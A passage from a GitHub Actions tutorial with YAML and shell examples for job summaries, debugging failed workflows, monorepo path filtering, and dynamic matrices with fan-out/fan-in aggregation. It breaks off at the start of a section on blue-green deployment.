FAIL src/api.test.js
✕ should return 404 for unknown routes (3ms)
```
</details>
EOF
Practical Example: Test Result Summary
A realistic workflow step parses actual test output and builds a formatted summary. Here is a pattern using jq to extract results from a JSON test report and generate a Markdown table.
- name: Generate test summary
run: |
TOTAL=$(jq '.numTotalTests' test-results.json)
PASSED=$(jq '.numPassedTests' test-results.json)
FAILED=$(jq '.numFailedTests' test-results.json)
DURATION=$(jq '.testResults | map(.perfStats.end - .perfStats.start) | add / 1000 | floor' test-results.json)
cat >> $GITHUB_STEP_SUMMARY << EOF
## 🧪 Test Results
| Metric | Value |
|--------|-------|
| Total Tests | $TOTAL |
| Passed ✅ | $PASSED |
| Failed ❌ | $FAILED |
| Duration | ${DURATION}s |
**Pass Rate**: $(( PASSED * 100 / TOTAL ))%
EOF
Practical Example: Build Artifact Table
After a build step produces artifacts, list them in the summary so your team can see at a glance what was produced and how large each artifact is.
- name: Summarize build artifacts
run: |
echo "## 📦 Build Artifacts" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| Artifact | Size | SHA256 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|------|--------|" >> $GITHUB_STEP_SUMMARY
for file in dist/*.tar.gz; do
SIZE=$(du -h "$file" | cut -f1)
HASH=$(sha256sum "$file" | cut -c1-12)
NAME=$(basename "$file")
echo "| \`$NAME\` | $SIZE | \`${HASH}…\` |" >> $GITHUB_STEP_SUMMARY
done
Practical Example: Deployment Summary
After deploying to multiple environments or services, a deployment summary gives instant visibility into what went where.
- name: Post deployment summary
run: |
cat >> $GITHUB_STEP_SUMMARY << EOF
## 🚀 Deployment Complete
| Property | Value |
|----------|-------|
| **Environment** | Production |
| **Version** | \`${{ github.sha }}\` |
| **Deployed by** | @${{ github.actor }} |
| **Timestamp** | $(date -u '+%Y-%m-%d %H:%M:%S UTC') |
| **URL** | [app.example.com](https://app.example.com) |
### Services Updated
- ✅ API Gateway (v2.4.1)
- ✅ Auth Service (v1.8.0)
- ✅ Worker Queue (v3.1.2)
EOF
Clearing a Summary
Occasionally you want to wipe previous summary output — for example, replacing a “build in progress” message with final results. Use > (overwrite) instead of >> (append) to replace the file contents, or write an empty string to clear it entirely.
# Overwrite with new content (replaces this step's prior output)
- name: Replace summary
run: echo "## ✅ Final Results" > $GITHUB_STEP_SUMMARY
# Clear summary entirely for this step
- name: Clear summary
run: echo "" > $GITHUB_STEP_SUMMARY
The @actions/core Summary API for JavaScript Actions
If you are writing a custom JavaScript action (or using actions/github-script), you do not need shell commands. The @actions/core package provides a fluent summary API that builds Markdown programmatically and writes it to $GITHUB_STEP_SUMMARY for you.
const core = require("@actions/core");
await core.summary
.addHeading("Test Results 🧪", 2)
.addTable([
[
{ data: "Suite", header: true },
{ data: "Tests", header: true },
{ data: "Status", header: true },
],
["Authentication", "24", "✅ Passed"],
["API Routes", "38", "✅ Passed"],
["Database", "12", "❌ 2 Failed"],
])
.addSeparator()
.addLink("View full report", "https://example.com/report")
.write();
The API is chainable — each method returns the summary instance. The .write() call at the end flushes the accumulated Markdown to the summary file. Here are the most useful methods:
| Method | Description | Example |
|---|---|---|
.addHeading(text, level) | Add a heading (h1–h6) | .addHeading("Results", 2) |
.addTable(rows) | Add a table from a 2D array | First row can use { data, header: true } |
.addList(items, ordered) | Add ordered or unordered list | .addList(["a", "b"], false) |
.addCodeBlock(code, lang) | Add a fenced code block | .addCodeBlock("npm test", "bash") |
.addImage(src, alt, options) | Embed an image | .addImage(url, "chart") |
.addLink(text, href) | Add a hyperlink | .addLink("Docs", "https://...") |
.addDetails(label, content) | Collapsible <details> section | .addDetails("Logs", logText) |
.addSeparator() | Horizontal rule | — |
.addRaw(text) | Insert raw Markdown string | .addRaw("**bold text**") |
.addEOL() | Add a newline | Useful between sections |
.write() | Flush buffer to summary file | Always call last |
.emptyBuffer() | Clear the buffer without writing | Reset and start fresh |
Using the Summary API with actions/github-script
You do not need a standalone JavaScript action to use this API. The actions/github-script action gives you access to core directly inside a workflow step.
- name: Generate rich summary
uses: actions/github-script@v7
with:
script: |
const passed = 139;
const failed = 3;
const total = passed + failed;
const rate = ((passed / total) * 100).toFixed(1);
await core.summary
.addHeading(`Build Report — ${rate}% pass rate`, 2)
.addTable([
[{ data: "Metric", header: true }, { data: "Value", header: true }],
["Total Tests", `${total}`],
["Passed ✅", `${passed}`],
["Failed ❌", `${failed}`],
])
.addDetails("Failed test details", [
"- `src/auth.test.js`: should reject expired tokens",
"- `src/auth.test.js`: should handle malformed JWT",
"- `src/api.test.js`: should return 404 for unknown routes",
].join("
"))
.write();
The .write() method appends by default. Pass { overwrite: true } to replace the entire summary file: await core.summary.addHeading("Fresh start").write({ overwrite: true })
Tips for Effective Summaries
- Keep it scannable. Lead with a heading and a status emoji (✅ / ❌ / ⚠️). Readers should know the outcome in under two seconds.
- Use tables for structured data. Test counts, artifact sizes, and deployment targets all read better as tables than as bullet lists.
- Hide verbose output in
<details>blocks. Full logs and stack traces are valuable, but they should not dominate the summary page. - Combine summaries across steps. Each step appends to the same file, so you can build a rich composite summary — one step for tests, another for coverage, a third for deployment status.
- Include links. Link to deployed environments, coverage reports, or artifact download pages so readers can act directly from the summary.
Debugging and Troubleshooting Workflow Failures
When a GitHub Actions workflow fails, the first instinct is to re-run it and hope the problem was transient. Sometimes it is — but when it isn't, you need a systematic approach to find the root cause. This section walks through the debugging tools GitHub provides and the failure patterns you'll encounter most often.
Enabling Debug Logging
By default, GitHub Actions logs show step-level output: the commands you run and their stdout/stderr. This is often not enough. GitHub provides two hidden debug modes that emit far more detail about what the runner and individual actions are doing internally.
To enable them, add these as repository secrets (Settings → Secrets and variables → Actions → New repository secret):
| Secret Name | Value | What It Does |
|---|---|---|
ACTIONS_RUNNER_DEBUG | true | Enables runner-level diagnostic logs — shows how the runner resolves actions, sets up the environment, and manages job containers. |
ACTIONS_STEP_DEBUG | true | Enables step-level debug output — shows ::debug:: messages emitted by actions themselves, including internal variable resolution and API calls. |
Once these secrets exist, every workflow run in the repository will produce verbose output. The extra log lines are prefixed with ::debug:: and appear in a lighter color in the UI.
Debug logging can expose sensitive environment details in your logs. Remember to delete these secrets once you have finished debugging — especially in public repositories where anyone can read workflow logs.
You can also enable debug logging for a single re-run without creating secrets. In the GitHub UI, click Re-run jobs → check Enable debug logging → confirm. This is the safer approach for one-off debugging sessions.
Reading Workflow Logs
The GitHub Actions UI organizes logs by job and step. Understanding the structure helps you zero in on failures quickly rather than scrolling through thousands of lines.
In the Browser
Navigate to your repository's Actions tab, click the failed workflow run, then click the failed job on the left sidebar. Each step is collapsible — the failed step will be expanded automatically with a red ✕ icon. Timestamps on the left margin help you spot steps that ran unexpectedly long.
Use the search box at the top of the log viewer to filter for keywords like error, denied, or timeout. The gear icon lets you toggle line wrapping and show full timestamps.
Downloading Log Archives
For deeper analysis, download the full log bundle. On the workflow run page, click the gear icon (⚙) in the upper right and select Download log archive. This gives you a ZIP file with one text file per job. You can then use grep, awk, or any text tool to search across all jobs simultaneously.
Using the gh CLI
The GitHub CLI is the fastest way to access logs from your terminal, especially when you need to iterate quickly. Here are the commands you will use most:
# List recent workflow runs (shows run IDs and status)
gh run list --limit 10
# View a specific failed run interactively
gh run view 1234567890
# Download logs for a specific run
gh run view 1234567890 --log
# Download logs and pipe to grep for targeted searching
gh run view 1234567890 --log | grep -i "error\|fail\|denied"
# Re-run failed jobs only (avoids re-running passing jobs)
gh run rerun 1234567890 --failed
The --log flag streams all job logs to stdout, making it ideal for piping into other tools. If you only want logs from a specific job, add --job <job-id> — you can find job IDs from the gh run view output.
Common Failure Patterns
Most workflow failures fall into a handful of recurring categories. Knowing these patterns saves you from debugging from scratch every time.
1. Permission Denied Errors
Permission issues are the most common source of confusion, especially after GitHub tightened the default GITHUB_TOKEN permissions. If you see errors like Resource not accessible by integration or 403 Forbidden, the fix is usually to declare explicit permissions in your workflow.
jobs:
deploy:
runs-on: ubuntu-latest
# Declare exactly the permissions this job needs
permissions:
contents: read
packages: write
id-token: write # Required for OIDC auth to cloud providers
steps:
- uses: actions/checkout@v4
- run: echo "Now I have the right permissions"
Common permission-related mistakes include: forgetting contents: write when pushing tags or commits, missing pull-requests: write for PR comments, and not setting id-token: write for OIDC-based cloud authentication. When you declare a permissions block, all permissions not listed default to none — so you must explicitly list everything you need.
2. Action Version Issues
Pinning an action to @v3 when @v4 introduced breaking changes — or vice versa — causes subtle failures. The most widespread example was the actions/checkout@v4 and actions/setup-node@v4 upgrades that required Node.js 20, which changed default behaviors.
# Risky: major tag can shift under you
- uses: some-org/some-action@v2
# Safer: pin to a full SHA for reproducibility
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
When an action suddenly breaks, check its release notes. If you are pinning to a major version tag like @v4, a minor or patch release may have introduced a regression. SHA pinning with a comment noting the version gives you both stability and readability.
3. Network Timeouts and Rate Limits
Workflows that download dependencies, pull Docker images, or call external APIs are vulnerable to transient network failures. You will see errors like ETIMEDOUT, Connection reset by peer, or HTTP 429 Too Many Requests.
Build in retry logic for flaky network steps:
- name: Install dependencies with retry
uses: nick-fields/retry@v3
with:
timeout_minutes: 10
max_attempts: 3
retry_wait_seconds: 30
command: npm ci
For Docker image pulls, consider caching images or using GitHub's container registry (ghcr.io) which has better connectivity from GitHub-hosted runners. For API rate limits, add explicit waits or use authenticated requests to get higher limits.
4. Secret Masking Issues
GitHub automatically masks secret values in logs — any output matching a secret's value is replaced with ***. This is a security feature, but it can make debugging confusing when you cannot tell what value was actually used. Worse, secrets shorter than 4 characters are not masked at all.
If you need to verify a secret is set (without revealing it), hash it and compare:
- name: Verify secret is populated
run: |
if [ -z "$MY_SECRET" ]; then
exit 1
fi
echo "MY_SECRET SHA256: $(echo -n "$MY_SECRET" | sha256sum | cut -d' ' -f1)"
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
Another gotcha: if a secret value appears as a substring in a URL or structured output, masking can mangle the log line and hide useful context around it. When this happens, the downloaded raw logs sometimes retain more structure than the UI view.
5. Checkout Problems with Submodules and LFS
The default actions/checkout performs a shallow clone without submodules and without Git LFS objects. If your build depends on either, you need to opt in explicitly:
- uses: actions/checkout@v4
with:
submodules: recursive # Clone all nested submodules
lfs: true # Pull Git LFS objects
fetch-depth: 0 # Full history (needed for git describe, changelogs)
token: ${{ secrets.PAT_WITH_REPO_SCOPE }} # PAT needed for private submodules
The default GITHUB_TOKEN only has access to the current repository. If your submodules point to other private repos, you must provide a Personal Access Token (PAT) with repo scope via the token input. Without it, the submodule clone fails silently or with a cryptic authentication error.
Git LFS has bandwidth quotas on GitHub. If your workflow runs frequently and pulls large LFS files, consider caching the LFS objects between runs using actions/cache with the path .git/lfs to avoid hitting limits.
A Systematic Debugging Checklist
When a workflow fails and the cause is not immediately obvious, work through this sequence:
-
Read the error message carefully
Expand the failed step in the UI. The actual error is often buried below several lines of output. Look for lines starting with
::error::,Error:, or exit codes. -
Check if it is a transient failure
Re-run the failed job once using Re-run failed jobs (not the full workflow). If it passes, the issue was likely a network timeout or a runner provisioning glitch. If it fails identically, proceed to deeper debugging.
-
Enable debug logging and re-run
Use the Enable debug logging checkbox on re-run, or set the repository secrets. Debug output often reveals exactly which API call or file operation failed and why.
-
Reproduce locally when possible
Copy the failing
runcommand and execute it in a local environment that matches the runner. Tools like nektos/act can run workflows locally in Docker containers, though they do not replicate every GitHub-hosted runner behavior. -
Compare with the last passing run
Use the workflow run list to find the most recent successful run. Diff the logs against the failing run. Check if any action versions, runner images, or dependencies changed between the two runs.
GitHub retains workflow logs for 90 days by default (configurable down to 1 day in repository settings). If you need long-term log retention for compliance, export logs to an external system using the gh run view --log command or the REST API in a scheduled workflow.
Monorepo Strategies: Path Filtering and Selective Execution
Monorepos consolidate multiple packages, services, or applications into a single repository. While this simplifies dependency management and cross-project refactoring, it creates a CI problem: a change to a single service shouldn't trigger builds and tests for every other service. GitHub Actions provides several mechanisms — from native path filters to community actions to dynamic matrices — that let you run only what's relevant.
flowchart LR
A["Push Event"] --> B["Detect Changed Paths"]
B --> C{"Which paths changed?"}
C -->|"packages/api/**"| D["Build & Test API"]
C -->|"packages/frontend/**"| E["Build & Test Frontend"]
C -->|"packages/shared/**"| F["Build & Test Shared"]
F --> G["Rebuild Dependents"]
D --> H["Merge Results"]
E --> H
G --> H
H --> I["Report Status"]
Native Path Filtering: on.push.paths
GitHub Actions supports path filters directly in the workflow trigger. When you specify paths, the workflow only runs when files matching those patterns change. This is the simplest approach and requires no third-party actions.
# .github/workflows/api.yml
name: API CI
on:
push:
paths:
- "packages/api/**"
- "packages/shared/**" # shared lib used by API
- ".github/workflows/api.yml"
pull_request:
paths:
- "packages/api/**"
- "packages/shared/**"
jobs:
test-api:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: cd packages/api && npm ci && npm test
You can also use paths-ignore to invert the filter — the workflow runs unless only the ignored paths changed. This is handy for skipping runs when only documentation files are updated.
on:
push:
paths-ignore:
- "docs/**"
- "**.md"
- "LICENSE"
Native paths filtering operates at the workflow level, not the job level. When the filter matches, the entire workflow runs — all jobs, all steps. You cannot use on.push.paths to conditionally run individual jobs within a single workflow. For monorepos with many services sharing one workflow file, this means every matched service rebuilds everything. That's where job-level filtering comes in.
Job-Level Path Filtering with dorny/paths-filter
The dorny/paths-filter action solves the per-job problem. It runs as a step in a "detect" job, evaluates which paths changed in the push or pull request, and sets boolean outputs you can use as conditions on downstream jobs. This lets you keep a single workflow file for your entire monorepo while only running the jobs that are actually affected.
name: Monorepo CI
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
detect-changes:
runs-on: ubuntu-latest
outputs:
api: ${{ steps.filter.outputs.api }}
frontend: ${{ steps.filter.outputs.frontend }}
shared: ${{ steps.filter.outputs.shared }}
steps:
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: filter
with:
filters: |
api:
- "packages/api/**"
frontend:
- "packages/frontend/**"
shared:
- "packages/shared/**"
build-api:
needs: detect-changes
if: needs.detect-changes.outputs.api == 'true' || needs.detect-changes.outputs.shared == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: cd packages/api && npm ci && npm test
build-frontend:
needs: detect-changes
if: needs.detect-changes.outputs.frontend == 'true' || needs.detect-changes.outputs.shared == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: cd packages/frontend && npm ci && npm run build
build-shared:
needs: detect-changes
if: needs.detect-changes.outputs.shared == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: cd packages/shared && npm ci && npm test
Notice how build-api triggers when either the API code or the shared library changes. This models the dependency graph — shared is a dependency of both API and frontend, so changes to it must propagate. Skipped jobs show as "Skipped" in the GitHub UI rather than "Failed", so your required status checks still pass.
Richer Change Detection with tj-actions/changed-files
The tj-actions/changed-files action provides finer control over change detection. Beyond boolean path matching, it gives you the actual list of changed files — added, modified, deleted, renamed — as outputs. This is useful when you need to pass the specific file list to downstream tools like linters or test runners.
jobs:
lint-changed:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # required for accurate diff
- name: Get changed TypeScript files
id: changed
uses: tj-actions/changed-files@v44
with:
files: |
**/*.ts
**/*.tsx
files_ignore: |
**/*.test.ts
**/*.spec.ts
- name: Lint only changed files
if: steps.changed.outputs.any_changed == 'true'
run: npx eslint ${{ steps.changed.outputs.all_changed_files }}
Key outputs from tj-actions/changed-files include any_changed (boolean), all_changed_files (space-separated list), added_files, modified_files, and deleted_files. This granularity lets you build workflows that lint only touched files, run tests only for affected modules, or trigger deployments only when specific configuration changes.
| Feature | Native paths | dorny/paths-filter | tj-actions/changed-files |
|---|---|---|---|
| Scope | Workflow-level trigger | Job-level conditions | Job-level conditions |
| Output type | Trigger or skip (binary) | Boolean per filter group | File lists + booleans |
| Lists changed files | No | Yes (optional) | Yes (primary feature) |
Supports workflow_dispatch | No | Yes | Yes |
Requires fetch-depth: 0 | No | No (for PRs) | Yes |
| Best for | Separate workflow per service | Single workflow, many services | File-level operations (lint, test) |
Dynamic Matrix Generation from Changed Packages
When your monorepo has many packages with a uniform structure, maintaining an explicit filter for each one becomes tedious. A better approach is to dynamically discover which packages changed and feed them into a matrix strategy. This scales to any number of packages without editing the workflow file when you add new ones.
The pattern works in two jobs: a "detect" job that produces a JSON array of changed package names, and a "build" job that consumes it via strategy.matrix.
name: Dynamic Monorepo CI
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
detect-packages:
runs-on: ubuntu-latest
outputs:
packages: ${{ steps.find.outputs.packages }}
has_changes: ${{ steps.find.outputs.has_changes }}
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Find changed packages
id: find
run: |
if [ "${{ github.event_name }}" = "pull_request" ]; then
BASE=${{ github.event.pull_request.base.sha }}
else
BASE=${{ github.event.before }}
fi
# Get unique top-level package dirs that changed
CHANGED=$(git diff --name-only "$BASE" HEAD \
| grep '^packages/' \
| cut -d/ -f2 \
| sort -u \
| jq -R -s -c 'split("
") | map(select(length > 0))')
echo "packages=$CHANGED" >> "$GITHUB_OUTPUT"
if [ "$CHANGED" = "[]" ]; then
echo "has_changes=false" >> "$GITHUB_OUTPUT"
else
echo "has_changes=true" >> "$GITHUB_OUTPUT"
fi
echo "Changed packages: $CHANGED"
build:
needs: detect-packages
if: needs.detect-packages.outputs.has_changes == 'true'
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
package: ${{ fromJson(needs.detect-packages.outputs.packages) }}
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
cache-dependency-path: packages/${{ matrix.package }}/package-lock.json
- name: Install and test
run: |
cd packages/${{ matrix.package }}
npm ci
npm test
- name: Build
run: |
cd packages/${{ matrix.package }}
npm run build
If fromJson receives an empty array [], the matrix job will fail with an error — GitHub Actions doesn't allow an empty matrix. That's why the example uses a separate has_changes output with an if condition to skip the build job entirely when no packages changed.
Combining Strategies: A Practical Pattern
In production monorepos, you'll often combine these approaches. Use native paths as a coarse-grained gate to avoid spinning up the workflow at all, then use dorny/paths-filter or dynamic matrix generation for fine-grained control inside the workflow. Here's how that layered approach looks:
name: Monorepo CI (Layered)
on:
push:
branches: [main]
paths:
- "packages/**" # Layer 1: skip if only docs/config changed
- ".github/workflows/**"
pull_request:
paths:
- "packages/**"
- ".github/workflows/**"
jobs:
detect:
runs-on: ubuntu-latest
outputs:
api: ${{ steps.filter.outputs.api }}
frontend: ${{ steps.filter.outputs.frontend }}
steps:
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: filter
with: # Layer 2: fine-grained per-job control
filters: |
api:
- "packages/api/**"
- "packages/shared/**"
frontend:
- "packages/frontend/**"
- "packages/shared/**"
api-ci:
needs: detect
if: needs.detect.outputs.api == 'true'
uses: ./.github/workflows/reusable-node-ci.yml # reusable workflow
with:
working-directory: packages/api
frontend-ci:
needs: detect
if: needs.detect.outputs.frontend == 'true'
uses: ./.github/workflows/reusable-node-ci.yml
with:
working-directory: packages/frontend
This layered pattern gives you the best of both worlds: native path filtering prevents unnecessary workflow runs entirely (saving runner minutes), while dorny/paths-filter provides granular per-job control within the workflow. Combining this with reusable workflows (via uses) keeps your monorepo CI DRY and maintainable as you add new services.
If your monorepo uses required status checks on PRs, skipped jobs won't satisfy the check. Use the paths-based ruleset conditions or add a final "summary" job that always runs and depends on the conditional jobs — this way you have a single stable check name for branch protection.
Dynamic Matrices and Fan-Out/Fan-In Patterns
Static matrices are fine when your build targets are fixed, but real-world CI often demands flexibility. You may need to test only the packages that changed, run jobs against a list discovered at runtime, or fan work out across an unpredictable number of parallel jobs and then collect the results. Dynamic matrices and the fan-out/fan-in pattern give you exactly that control.
How Dynamic Matrices Work
A dynamic matrix replaces a hardcoded list of values with a JSON array generated by a preceding job. The pattern has three moving parts: a setup job that computes the matrix values and exposes them as an output, a matrix job that consumes that output via fromJSON(), and the expression syntax that wires them together.
The key expression is matrix: ${{ fromJSON(needs.setup.outputs.matrix) }}. GitHub Actions parses the JSON string back into a proper object, and the matrix strategy fans out a job instance for each combination.
graph LR
A["Setup Job
Discover targets
Output JSON array"] --> B["Matrix Job 1"]
A --> C["Matrix Job 2"]
A --> D["Matrix Job N"]
B --> E["Aggregate Job
Collect all results"]
C --> E
D --> E
Example 1: Dynamic Matrix from Changed Files
This is the most common real-world scenario. A monorepo contains multiple packages, and you only want to build and test the ones that actually changed. The setup job uses git diff to discover changed directories, builds a JSON array, and passes it downstream.
name: Monorepo CI
on:
push:
branches: [main]
pull_request:
jobs:
detect-changes:
runs-on: ubuntu-latest
outputs:
packages: ${{ steps.find.outputs.packages }}
has_changes: ${{ steps.find.outputs.has_changes }}
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- id: find
run: |
# Find packages with changes compared to the base
CHANGED=$(git diff --name-only origin/main...HEAD \
| grep '^packages/' \
| cut -d/ -f2 \
| sort -u \
| jq -R -s -c 'split("
") | map(select(length > 0))')
echo "packages=$CHANGED" >> "$GITHUB_OUTPUT"
if [ "$CHANGED" = "[]" ]; then
echo "has_changes=false" >> "$GITHUB_OUTPUT"
else
echo "has_changes=true" >> "$GITHUB_OUTPUT"
fi
echo "Detected packages: $CHANGED"
test:
needs: detect-changes
if: needs.detect-changes.outputs.has_changes == 'true'
runs-on: ubuntu-latest
strategy:
matrix:
package: ${{ fromJSON(needs.detect-changes.outputs.packages) }}
fail-fast: false
steps:
- uses: actions/checkout@v4
- run: |
cd packages/${{ matrix.package }}
npm ci
npm test
A few things to note here. The fetch-depth: 0 is essential — without a full clone, git diff cannot compare against the base branch. The jq pipeline converts newline-separated directory names into a proper JSON array like ["auth","api","web"]. The has_changes guard prevents the matrix job from failing when the array is empty, because an empty matrix is an error in GitHub Actions.
If fromJSON() receives an empty array [], the workflow fails with "Matrix must define at least one vector". Always guard dynamic matrix jobs with an if condition that checks whether values were actually produced.
Example 2: Discovering Targets from the Filesystem
Another powerful pattern is scanning the repository to discover build targets — for example, finding every directory that contains a Dockerfile or every subdirectory with a package.json. This makes your CI self-configuring: add a new service, and CI picks it up automatically.
jobs:
discover:
runs-on: ubuntu-latest
outputs:
services: ${{ steps.scan.outputs.services }}
steps:
- uses: actions/checkout@v4
- id: scan
run: |
# Find all directories containing a Dockerfile
SERVICES=$(find services/ -name Dockerfile -maxdepth 2 \
| xargs -I{} dirname {} \
| xargs -I{} basename {} \
| jq -R -s -c 'split("
") | map(select(length > 0))')
echo "services=$SERVICES" >> "$GITHUB_OUTPUT"
build:
needs: discover
runs-on: ubuntu-latest
strategy:
matrix:
service: ${{ fromJSON(needs.discover.outputs.services) }}
steps:
- uses: actions/checkout@v4
- run: |
docker build -t myapp/${{ matrix.service }}:${{ github.sha }} \
services/${{ matrix.service }}/
Multi-Dimensional Dynamic Matrices
You can also output a full matrix object — not just a single array — to dynamically control multiple dimensions at once. This is useful when different targets need different configurations such as a specific Node version or runner type.
jobs:
setup:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.build-matrix.outputs.matrix }}
steps:
- uses: actions/checkout@v4
- id: build-matrix
run: |
# Build a matrix with include entries for fine-grained control
MATRIX='{"include":[
{"service":"api", "node":"20","runner":"ubuntu-latest"},
{"service":"web", "node":"22","runner":"ubuntu-latest"},
{"service":"worker","node":"20","runner":"self-hosted"}
]}'
echo "matrix=$(echo $MATRIX | jq -c .)" >> "$GITHUB_OUTPUT"
build:
needs: setup
runs-on: ${{ matrix.runner }}
strategy:
matrix: ${{ fromJSON(needs.setup.outputs.matrix) }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node }}
- run: |
cd services/${{ matrix.service }}
npm ci && npm test
Job outputs are limited to 1 MB per output. For extremely large matrices, consider writing the JSON to an artifact and reading it back, or splitting the work into batches.
Fan-Out/Fan-In: Aggregating Results
Fanning out work is only half the pattern. In most real pipelines, you need a final job that runs after all matrix jobs complete — to publish a combined report, deploy an artifact, or update a status check. This is the fan-in step, and it relies on the needs context to gate execution and collect outcomes.
When you add needs: [matrix-job-name] to your aggregate job, GitHub Actions waits for every instance of the matrix to finish before starting it. You can then inspect the result of the fan-out job via needs.<job_id>.result, which will be success, failure, cancelled, or skipped.
name: Fan-Out/Fan-In Pipeline
on: [push]
jobs:
# ---- SETUP: Generate the matrix ----
setup:
runs-on: ubuntu-latest
outputs:
targets: ${{ steps.discover.outputs.targets }}
steps:
- uses: actions/checkout@v4
- id: discover
run: |
TARGETS=$(find packages/ -name 'package.json' -maxdepth 2 \
| xargs -I{} dirname {} \
| xargs -I{} basename {} \
| jq -R -s -c 'split("
") | map(select(length > 0))')
echo "targets=$TARGETS" >> "$GITHUB_OUTPUT"
# ---- FAN-OUT: Parallel test jobs ----
test:
needs: setup
runs-on: ubuntu-latest
strategy:
matrix:
package: ${{ fromJSON(needs.setup.outputs.targets) }}
fail-fast: false
steps:
- uses: actions/checkout@v4
- run: |
cd packages/${{ matrix.package }}
npm ci
npm test
# Upload per-package results as artifacts
- uses: actions/upload-artifact@v4
if: always()
with:
name: results-${{ matrix.package }}
path: packages/${{ matrix.package }}/test-results/
# ---- FAN-IN: Aggregate results ----
report:
needs: [test]
if: always()
runs-on: ubuntu-latest
steps:
# Download ALL artifacts from the matrix jobs
- uses: actions/download-artifact@v4
with:
pattern: results-*
merge-multiple: true
path: all-results/
- name: Check overall status
run: |
echo "Fan-out job result: ${{ needs.test.result }}"
if [ "${{ needs.test.result }}" = "failure" ]; then
echo "::error::One or more packages failed testing"
exit 1
fi
echo "All packages passed! Generating combined report..."
ls -la all-results/
- name: Post summary
run: |
echo "## Test Results" >> "$GITHUB_STEP_SUMMARY"
echo "| Package | Status |" >> "$GITHUB_STEP_SUMMARY"
echo "|---------|--------|" >> "$GITHUB_STEP_SUMMARY"
for dir in all-results/*/; do
pkg=$(basename "$dir")
echo "| $pkg | Passed |" >> "$GITHUB_STEP_SUMMARY"
done
Key Details of the needs Context in Fan-In
The aggregate job's behavior depends on how you configure if and needs. Here is a reference for the patterns you will use most often:
| Pattern | Behavior | Use When |
|---|---|---|
needs: [test] (no if) | Runs only if all matrix instances succeed | Deploy only after full green build |
needs: [test] + if: always() | Runs regardless of matrix outcome | You need to collect results or clean up |
needs: [test] + if: failure() | Runs only if at least one instance failed | Send failure notifications |
needs.test.result == 'success' | Explicit check on aggregated result | Conditional logic inside the fan-in job |
The default fail-fast: true cancels all remaining matrix jobs as soon as one fails. In a fan-out/fan-in pipeline, you almost always want fail-fast: false so every branch completes and the aggregate job has the full picture of what passed and what did not.
Passing Data Back from Matrix Jobs
Matrix jobs cannot directly set outputs that the aggregate job reads as a collected array — each matrix instance overwrites the same output key. Instead, use one of these two strategies to move data from fan-out to fan-in:
Strategy 1: Artifacts (best for files)
Each matrix job uploads an artifact with a unique name (e.g., results-${{ matrix.package }}). The aggregate job downloads all of them using actions/download-artifact@v4 with the pattern parameter, as shown in the full example above.
Strategy 2: Status files via artifacts (best for small values)
If you need to pass small scalar values like pass/fail status per matrix leg, write them to individual files and upload as artifacts. The aggregate job merges and parses them:
test:
needs: setup
runs-on: ubuntu-latest
strategy:
matrix:
package: ${{ fromJSON(needs.setup.outputs.targets) }}
steps:
- uses: actions/checkout@v4
- run: cd packages/${{ matrix.package }} && npm test
# Write result to a small file, upload as artifact
- if: always()
run: |
mkdir -p /tmp/status
echo "${{ matrix.package }}=${{ job.status }}" \
> /tmp/status/${{ matrix.package }}.txt
- uses: actions/upload-artifact@v4
if: always()
with:
name: status-${{ matrix.package }}
path: /tmp/status/
aggregate:
needs: [test]
if: always()
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
with:
pattern: status-*
merge-multiple: true
path: statuses/
- name: Parse all results
run: |
echo "Per-package results:"
cat statuses/*.txt
# Fail if any package reported failure
if grep -q "=failure" statuses/*.txt; then
echo "::error::Some packages failed"
exit 1
fi
This artifact-based approach is the most reliable way to collect granular results from matrix jobs. Each instance writes its own status file, and the aggregate job merges them all into a single directory for processing.
Advanced Deployment Patterns: Blue-Green, Canary, and GitOps
Production deployments demand more than git push followed by deploy. A bad release pushed to 100% of traffic at once can take down your entire service. Advanced deployment patterns solve this by controlling how and how quickly new code reaches users, giving you the ability to validate in production and roll back before damage spreads.
This section covers three battle-tested strategies — Blue-Green, Canary, and GitOps — each with a complete GitHub Actions workflow you can adapt to your infrastructure.
graph LR
subgraph Blue-Green
BG1[Build and Push Image] --> BG2[Deploy to Inactive Env]
BG2 --> BG3[Run Smoke Tests]
BG3 -->|Pass| BG4[Switch Traffic]
BG3 -->|Fail| BG5[Abort & Keep Old Env]
BG4 --> BG6[Decommission Old Env]
end
subgraph Canary
C1[Build and Push Image] --> C2[Route 5% Traffic]
C2 --> C3[Monitor Metrics]
C3 -->|Healthy| C4[Route 25% Traffic]
C4 --> C5[Monitor Metrics]
C5 -->|Healthy| C6[Route 100% Traffic]
C3 -->|Degraded| C7[Rollback to 0%]
C5 -->|Degraded| C7
end
subgraph GitOps
G1[Build and Push Image] --> G2[Update Manifest in Git]
G2 --> G3[Create PR or Push]
G3 --> G4[ArgoCD / Flux Detects Change]
G4 --> G5[Sync to Cluster]
G5 --> G6[Health Check]
end
Blue-Green Deployment
Blue-green deployment maintains two identical production environments. At any given time, one environment ("blue") serves live traffic while the other ("green") sits idle. When you deploy, you push the new version to the idle environment, validate it thoroughly, then flip the load balancer to route all traffic to the newly updated environment.
The key advantage is instant rollback. If something breaks after the switch, you flip traffic back to the old environment in seconds — no redeployment needed. The tradeoff is cost: you are running two full environments at all times.
